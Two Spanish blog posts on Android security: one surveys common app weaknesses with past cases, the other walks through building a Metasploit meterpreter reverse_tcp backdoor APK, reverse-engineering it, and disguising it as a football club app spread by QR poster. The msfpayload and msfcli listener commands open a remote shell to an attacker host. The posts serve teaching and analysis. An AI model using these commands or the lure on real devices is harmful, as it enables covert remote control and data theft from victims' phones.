Ya hemos visto en entradas anteriores donde podemos encontrar todos los permisos que utiliza una aplicación, en el fichero AndroidManifest.xml y herramientas que nos detectan posibles inseguridades en este fichero, como Manitree (ver Auditoria de Aplicaciones Android). Más adelante veremos como obtener con Androguard el lugar donde se utilizan cada uno de los permisos, de manera que podamos examinar el código fuente y determinar si un permiso está bien otorgado o no. 

TRANSMISIÓN INSEGURA DE DATOS SENSIBLES

Otro tema a tener en cuenta es la transmisión de los datos de la aplicación por medio de SSL o TLS, pero la mayoría de desarrolladores no le dan importancia a esto y dejan la seguridad a la transmisión "segura" del operador de telefonía. Es por ello que nos encontramos con los siguientes casos:

1. Falta de cifrado o cifrado débil.
2. Cifrado fuerte, pero por falta de atención en las advertencias de seguridad o errores del certificado hacen que los usuarios no sean capaces de resolver el problema.
3. Uso de texto plano tras fracasar en el cifrado de los datos.
4. Confiar ciegamente en la "seguridad" que nos otorga según qué tipo de red (Wi-fi o celdas del operador)

La mayoría de estas situaciones provocan que se puedan dar ataques del tipo Man In The Middle (MITM), de manera que un atacante se sitúe en mitad de la comunicación y pueda captar toda la información transmitida. Exiten en el mercado muchas herramientas para llevar a cabo un ataque MITM (Cain&Abel, Ettercap, arpspoof...) y después escuchar todo lo que se habla en ella con un sniffer de paquetes como Wireshark.

Un ejemplo de transmisión insegura fue la implementación del protocolo de autenticación de Google ClientLogin en las versiones de Android 2.1 a la 2.3.4. El protocolo lo que hacía era pedir un token de autenticación para la cuenta de usuario de Google, de manera que este sirviera para autenticarse en servicios determinados de Google. Pues bien, investigadores de la Universidad de Ulm descubrieron que dicho token se enviaba a través de HTTP en texto plano en las aplicaciones de Calendario y Contactos de Android 2.1 a la 2.3 y en el servicio de sincronización de Picasa de Android 2.3.4, lo cual permitiría a un atacante que capturase el token, llevar a cabo una suplantación de identidad (ver más sobre la captura del token de Google).

ALMACENAMIENTO INSEGURO DE LOS DATOS

Dentro del sistema operativo Android existen muchas posibilidades a la hora de almacenar la información: fichero de preferencias shared_preferences, bases de datos SQLite o ficheros de texto plano. Las maneras de acceso a estos almacenes de información pueden ser varias: desde el propio código fuente de la aplicación, desde código nativo del propio sistema operativo, desde un Content Provider que de servicio a otra aplicación para acceder a los datos...

Los errores que se suelen cometer son los siguientes:

1. Almacenar datos sensibles en ficheros de texto plano.
2. Desproteger los Content Provider, de tal forma que se permita el acceso desde cualquier aplicación.
3. Otorgar permisos inseguros a los archivos, de tal forma que puedan acceder otros usuarios que no sean la propia aplicación.

Un ejemplo de este almacenamiento inseguro se descubrió en Abril de 2011 en la aplicación Skype, la cual hacía uso de código nativo de Android para la creación de sus ficheros de preferecias, bases de datos y texto plano, con el problema de que el sistema le estaba asignando permisos 666 (lectura y escritura) para todos estos ficheros, lo cual exponía toda nuestra información de Skype: nombres, números de teléfono, llamadas, etc. (ver más sobre el caso de Skype)

FUGA DE INFORMACIÓN ALMACENADA EN LOGS

A través de los depuradores de código podemos obtener gran cantidad de información, desde credenciales de acceso hasta otros datos sensibles. Aquellas aplicaciones que tengan activado el READ_LOGS nos permite leer a bajo nivel los logs de dicha aplicación, o lo que es lo mismo, los registros de la misma. Es por ello que podemos hacer uso de la herramienta logcat que incorpora Android Debug Bridge (ADB) y obtener información sensible de la aplicación. Aquí os dejo un vídeo de como hacer uso de la misma (ver vídeo), así como información de los parámetros que utiliza desde línea de comandos (ver docs).

El permiso READ_LOGS ya no está disponible a partir de Android 4.1, sin embargo en versiones anteriores si. Un ejemplo de fuga de información por medio de registros fue el descubierto en la aplicación Firefox para Android en Diciembre de 2012, la cual registraba toda la actividad de navegación: URL visitadas e incluso identificadores de sesión, con lo que eso significa, pudiendo un atacante hacer un secuestro de sesión con esos datos.

COMUNICACIÓN ENTRE PROCESOS DE MANERA INSEGURA

Existe gran cantidad de comunicación entre procesos de equipos (conocida como IPC Endpoints): Servicios, Actividades, BroadcastReceivers o Content Providers. La protección en la comunicación en estos casos se lleva a cabo por medio de permisos que se establecen de un punto a otro de la comunicación, pero puede que nos encontremos con estos problemas:

1. A través de un Content Provider se pueden dar ataques de inyección de código o directorio trasversal, de tal forma que accedamos a lugares no permitidos.
2. Las actividades pueden verse comprometidas por código o apps maliciosas y poder acceder a la comunicación IPC.
3. Los BroadCastReceiver se encargan de escuchar intenciones implícitas, estos pueden ser vulnerables si contienen el atributo intent-filter igual a "not unique just to Broadcast Receivers" o lo que es lo mismo, que si por ejemplo llega un SMS (intención implícita) otra app puede leer dicha info aunque ese mensaje fuera para mi, ya que con ese atributo y su valor, cualquier otro Broadcast Reveivers puede leer la información.

Un ejemplo de explotación de un IPC fue el descubierto por sh4ka en la app Samsung Kies en el Galaxy S3, la cual tiene privilegios elevados. Dicha aplicación tenía un Broadcast Receivers que se utilizaba para restaurar las APKs desde la carpeta /sdcard/restore/, pues bien, aprovechando esto, sh4ka consiguió poder instalar cualquier aplicación sin permisos (puedes encontrar más información al respecto en su Web).

Pues bien, hasta aquí ya hemos visto los puntos a tener en cuenta a la hora de analizar una aplicación en Android, los cuales pueden hacer que se comprometa la seguridad de nuestro sistema y exponer nuestros datos.

Espero que les haya resultado interesante y les sirva !!

Un handshake

@eduSatoe

"Es una locura seguir haciendo lo mismo y esperar resultados diferentes"

Albert Einstein

Read More

Ingeniería Inversa a una APK maliciosa

Muy grande la jornada que echamos en la Hack & Beers Vol.2 sobre Mobile Security con muchos amigos. Agradeceros a todos, asistentes y compañeros de charlas, vuestras aportaciones e interés. Pues bien, siguiendo con la charla de seguridad de Android y viendo qué tan fácil es hacerle la ingeniería inversa a una APK de Android, nosotros vamos a ir un poco más allá y vamos a obtener el código fuente de un APK maliciosa creada por Metaesploit, así que vamos manos a la obra.

Antes de nada os muestro lo que sería el supuesto escenario de ataque de manera visual para que lo entendáis mejor:

CREANDO UNA APK MALICIOSA

Vamos a crear una APK para Android maliciosa, para ello lo haremos desde Kali Linux, haciendo uso de las herramientas del framework Metasploit. Desde consola vamos a usar el comando msfpayload para inyectar un payload dentro de la APK.

Primero vemos los payload disponibles para Android:

Vamos a seleccionar un payload que nos devuelva una sesión de meterpreter y que sea del tipo reverse_tcp. Para ello ponemos el siguiente comando:

msfpayload android/meterpreter/reverse_tcp LHOST=192.168.0.5 LPORT=4444 R > backdoor.apk

Además también hemos configurando el equipo al que se conecta (LHOST) y el puerto de conexón (LPORT), para inyectarlo en la aplicación maliciosa.

De esta manera cualquier usuario que se instale la APK (backdoor.apk) va a lanzar una sesión de meterpreter a la máquina 192.168.1.10 que estará escuchando en el puerto 4444 (ver el escenario de ataque). Para que la máquina con Metasploit esté escuchando debemos hacer uso del exploit/multi/handler con el payload android/meterpreter/reverse_tcp y configurarlo con los parámetros con los cuales creamos la aplicación maliciosa. 

msfcli exploit/multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=192.168.0.5 LPORT=4444 E

Pero el objetivo de hoy no es compromenter el terminal, sino obtener el código de dicha aplicación maliciosa para analizarlo.

INGENIERÍA INVERSA DE LA APK

Una vez que tenemos la backdoor.apk vamos a seguir los siguientes pasos, haciendo uso de herramientas (apktool, dex2jar y jd-gui) que ya nombramos en entradas anteriores:

Obtención del fichero de manifiesto:

1. Desempaquetamos la APK con la aplicación apktool "apktool d backdoor.apk" y se nos crea una carpeta con con varias carpetas y ficheros. Dentro podemos encontrar, entre otras cosas, nuestro tan famoso fichero de manifiesto AndroidManifest.xml.

Obtención de los ficheros JAVA:

1. Renombramos la APK como backdoor.zip y descomprimimos dicho paquete en una carpeta que llamaremos backdoor-zip. El fichero que más nos interesa es el classes.dex, donde tendremos las clases de la aplicación en formato dex (código para la Dalvik VM).
2. Incluimos dentro de esta misma carpeta todos los ficheros del paquete dex2jar y ejecutamos el comando "dex2jar classes.dex". Obtendremos por tanto el fichero classes_dex2jar.jar, donde tenemos las clases de la aplicación en formato jar.
3. Por último cogemos el fichero jar y los abrimos con la aplicación jd-gui. Podemos ver todas las clases de la aplicación en formato java. Ahora pulsamos sobre File > Save All Sources y grabamos dichos ficheros en la carpeta que indiquemos, obtenemos el paquete classes_dex2jar.src.zip con todas las clases 

ANALIZANDO CÓDIGO

Primeramente vamos a analizar el archivo de manifiesto AndroidManifest.xml.

Permisos que solicita:

• android.permission.INTERNET: Permite a las aplicaciones abrir sockets de red.
• android.permission.ACCESS_NETWORK_STATE: Permite que las aplicaciones accedan a información sobre redes.
• android.permission.ACCESS_COURSE_LOCATION: Permite que una aplicación acceda a la ubicación aproximada derivado de las fuentes de ubicación de red, tales como torres de telefonía móvil y Wi-Fi.
• android.permission.ACCESS_FINE_LOCATION: Permite que una aplicación acceda a la ubicación precisa de fuentes de localización como GPS, antenas de telefonía móvil y Wi-Fi.
• android.permission.READ_PHONE_STATE: Permite acceso al estado del teléfono 
• android.permission.SEND_SMS: Permite que una aplicación envíe mensajes SMS.
• android.permission.RECEIVE_SMS: Permite que una aplicación reciba mensajes SMS.
• android.permission.RECORD_AUDIO: Permite que una aplicación para grabar audio
• android.permission.CALL_PHONE: Permite que una aplicación para iniciar una llamada de teléfono sin tener que pasar a través de la interfaz de usuario del sintonizador para el usuario para confirmar la llamada de ser colocado.
• android.permission.READ_CONTACTS: Permite que una aplicación lea los datos de Contactos del usuario.
• android.permission.WRITE_CONTACTS: Permite que una aplicación escriba en los datos de Contactos del usuario.
• android.permission.WRITE_SETTINGS: Permite que una aplicación leer o escribir la configuración del sistema.
• android.permission.CAMERA: Acceso a todas las funciones de la cámara.

Si vemos detenidamente todos los procesos, podemos hacer casi cualquier cosa con estos permisos, y sobre todo de manera remota, ya que tenemos permiso para abrir socket y cambiar configuración de sistema. Podemos hacer llamadas a números de tarificación especial, obtención de fotografías en vivo, venta de contactos a terceros, grabar las coversaciones, localizar a la persona por su posición GPS y un largo etc. 

Otra información interesanse que podemos encontrar es la siguiente:

• android:name=".MainActivity": Es la clase principal desde donde se carga el LAUNCHER de la actividad principal, es decir, cuando arranca la aplicación es la clase que tiene el hilo principal de ejecución. Muy importante a la hora de que analicemos el código y saber desde donde empezar.
•  android:theme="@android:style/Theme.NoDisplay": Es el estilo que va a utilizar la actividad principal, que en este caso se trata de un estilo especial que no contiene interfaz de usuario. Por tanto nuestro código simplemente se va a ejecutar y no nos va a mostrar nada en pantalla, eso si, en memoria si va a estar presente.

Pasamos ahora a analizar los archivos .JAVA encontrados en el classes_dex2jar.src.zip:

Si controlamos algo de temas de programación en Android, a simple vista podemos identificar la función de cada fichero de código:

• MainActivity.java: clase principal de la aplicación, ya que lo vimos en el manifiesto.
• BuildConfig.java: clase con información de configuración a la hora de desarrollar la apk.
• R.java: clase que se crea automáticamente en cualquier aplicación apk, donde se asigna un identificador numérico a cada uno de los recursos utilizados en la aplicación.
• Payload.java y PayloadTrusManage.java: son clases propias del proyecto en si, que ahora pasaremos a analizar.

Vemos el MainActivity de la backdoor:

Podemos encontrar que nada más crearse la actividad principal (método onCreate) y llamar al constructor de la clase (super.onCreate), lo siguiente que hace es llamar a un método de clase de la clase Payload, para posteriormente finalizar la ejecución (finish). Seguramente en este método de clase se lance otro hilo de ejecución, ya que el hilo principal muere con el finish. Vamos a ver la clase Payload:

Para empezar vemos en el código que hay gran cantidad de librerías importadas que nos dan mucho juego como manejadores (Handler), entrada y salida de datos (DataInputStream y DataOutputStream), entrada y salida de ficheros (File y FileOutputStream), socket (Socket), conexiones https (HttpsURLConnection), etc.

Si seguimos viendo código, en la declaración de atributos de la clase Payload vemos dos atributos bastante interesantes: LHOST y LPORT, que no son sino la dirección IP y el puerto de conexión de nuestra máquina donde estará escuchando Metasploit. Vemos que forman parte de unas cadenas con más caracteres, de manera que un analizador de código no pueda identificar fácilmente una dirección IP o puerto. 

UTILIZANDO EL CÓDIGO Y UN POQUITO DE INGENIERÍA SOCIAL

Podíamos seguir analizando el código fuente paso a paso y obtener funciones como reverseTCP, reverseHTTP, startReverseConn, etc. Pero en vez de eso, hemos creado una aplicación del Córdoba C.F., aprovechando que somos equipo de primera, y le hemos inyectado el código del Payload analizado. 

Esto lo podría utilizar una persona con malas intenciones y ahora sólo tendría que echar la imaginación a volar y utilizar la Ingeniería Social para divulgar la APK maliciosa, como por ejemplo colgar este cartel en los alrededores del estadio.

Os podéis descargar sin problemas la APK desde el código QR porque la aplicación está apuntando a una dirección IP local y porque le he quitado todo el código referente a las funciones de meterpreter, es decir, sólo realiza la conexión reverse_tcp, pero no responde bajo ningún comando de los de meterpreter.

Todo este contenido viene a complementar la charla de Seguridad en Android de la Hack & Beers Vol.2. Si no pudisteis asistir aquí os dejo el enlace de mi presentación (Seguridad en Android.pdf) y el de las charlas (http://new.livestream.com/cosfera/hbodb).

Quiero dar de nuevo las gracias a Miguel Ángel Arroyo de Hacking Ético por contar conmigo para la Hack & Beers. Espero que os haya gustado !! 

Un handshake para todos

@eduSatoe

"Pues conseguir cien victorias en cien batallas no constituye la mayor habilidad. Dominar al enemigo sin luchar, esta sí es la más alta habilidad"

Gichin Funakoshi

Read More